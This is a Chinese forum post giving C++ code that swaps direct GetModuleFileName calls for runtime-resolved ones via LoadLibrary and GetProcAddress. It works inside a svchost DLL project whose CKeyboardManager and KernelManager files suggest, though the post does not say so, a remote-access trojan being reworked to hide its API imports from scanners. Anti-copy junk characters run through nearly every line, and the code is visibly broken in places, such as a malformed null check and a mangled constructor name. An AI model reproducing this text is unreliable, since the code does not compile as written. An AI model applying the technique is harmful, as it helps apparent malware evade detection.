返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
, D1 p6 k% R$ u6 y: i* h1 ysvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
; V) o3 i( k9 |----------------------------------------
) o9 E& U# ]. P0 H0 ]+ A9 C, dDTDY.h:! F* T: l8 q  z8 R1 |

( W- D; v' _  x4 k8 v+ F#if _MSC_VER>1000& c! R5 h* b6 }) P9 S( C  g& D
#pragma once$ ?) e7 O1 A  K: A7 r: n) a1 C
#endif //_MSC_VER>1000% @! k6 U7 z& o! k
#include<windows.h>
( f9 J; |8 c) z/ u5 L* D( B
- Q8 J4 |) v, u+ z* r  ztypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
# D" k' u1 E, Y) q1 Zclass DTDY( D* r7 D+ g) b$ O" u( W" [
{
0 h9 M$ _/ x( ypublic:3 L5 f+ P3 q6 v1 X: |
DTDY();3 W8 C& u0 D3 s+ T% ~8 N
virtual ~DTDY();
4 |& ~' u5 N; [# Gpublic:
7 c- p5 {+ Y% L' n* T# ?8 tstatic pGetModuleFileNameA MyGetModuleFileName;- r) W7 y& @; |5 G
static BOOL FunInitiallization();
, l. k/ e4 @2 k- x1 x};
0 X$ \" K5 E' {6 l) L' q#endif  e1 X0 G: O+ {4 P
----------------------------------------8 ^" `. |# k+ O

) w5 \9 o; N4 j" ?6 C3 _+ \DTDY.cpp:. n. _) J1 B7 D1 Y$ T
  Q' g8 Y- ]- |( K' Q
#include "DTDY.h"0 h5 p) h. {) H! p& p( @5 p5 `& d
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
6 S3 \! s1 E( C' U% @DTDY:TDY()
  h( N# t7 B; T! a" c{
7 G" G6 B' j7 w1 Y# X: l}
9 ^* {3 j" U( nDTDY::~DTDY()
; A, {5 F$ H' c) t; U{- D8 H0 O) g, o) C7 _
}
  l" w4 Q' ~1 T% @! O6 MBOOL DTDY::FunInitiallization()6 o, x/ K, v8 `+ L* Y2 E- y
{
3 _- w+ K) o  j/ j* Y" xHMODULE hModule=LoadLibrary("kernel32.dll");0 V. l, h! U8 P- |2 {. M
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
- Z0 f0 ]: E  L; Y" X. P) Wif(!MyGetModuleFileName=) return FALSE;. l0 U( `- ?: G9 l* E* o4 H9 @
8 V; o( D$ ~2 r* M
return TRUE;
$ L2 X+ X7 e5 n' }0 ?& A" V7 T. F}
* l" l2 j: c/ B; z3 x7 e& _----------------------------------------0 O3 r' i" G7 \5 F$ }! {$ h
svchost.cpp:  Y3 M" y: N% G3 Q4 B

" i( ^: m& O4 M' u' T#include "DTDY.h"' U4 ?0 m& e. Z1 s

  h1 t% p; E% b" c6 F8 FBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
) P, {' O' E3 u" t% f( _{6 W) U# {0 Q0 S# {9 z
switch(ul_reason_for_call)0 r& ^- R" B) \6 }( E
{$ a, @6 \' v; p6 O0 y1 T7 O; Y
case DLL_PROCESS_ATTACH:9 ^/ K7 P4 C3 u
if(!DTDY::FunInitiallization()) return FALSE;
! N7 [/ @1 _' u
7 l& C+ V; D4 b2 U& Qbreak;8 h! j2 C. X2 _5 R* n/ y3 o
}
1 |: ~+ `7 ]7 T}
' D' {; K$ L* ~, v2 Z$ N! z: G& z
; S! m, H! x3 [  z& G
/ c- V$ o- D6 F+ M/ _GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def0 u) R8 E8 a$ @" K2 s' G' [7 j
改写为
+ i8 A  ?! d8 S( {+ cDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
! Q2 M8 B, [9 m# F2 ^----------------------------------------4 c* h0 n: |- Q: P/ i) w
KernelManager.cpp:9 Y+ x+ H* G: E; J+ E, x
/ J) y4 M  c9 a  {; r2 m: H
#include "../DTDY.h"
- d+ |4 ~4 t- d- [% FGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));( |* s1 U. n% |( c8 y) f) ^0 F
改写为
  T% e4 c# p8 D: Y* e( U7 bDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));) Z$ O1 Y# Y# }2 `5 Z2 e% n3 m/ Z
----------------------------------------

返回列表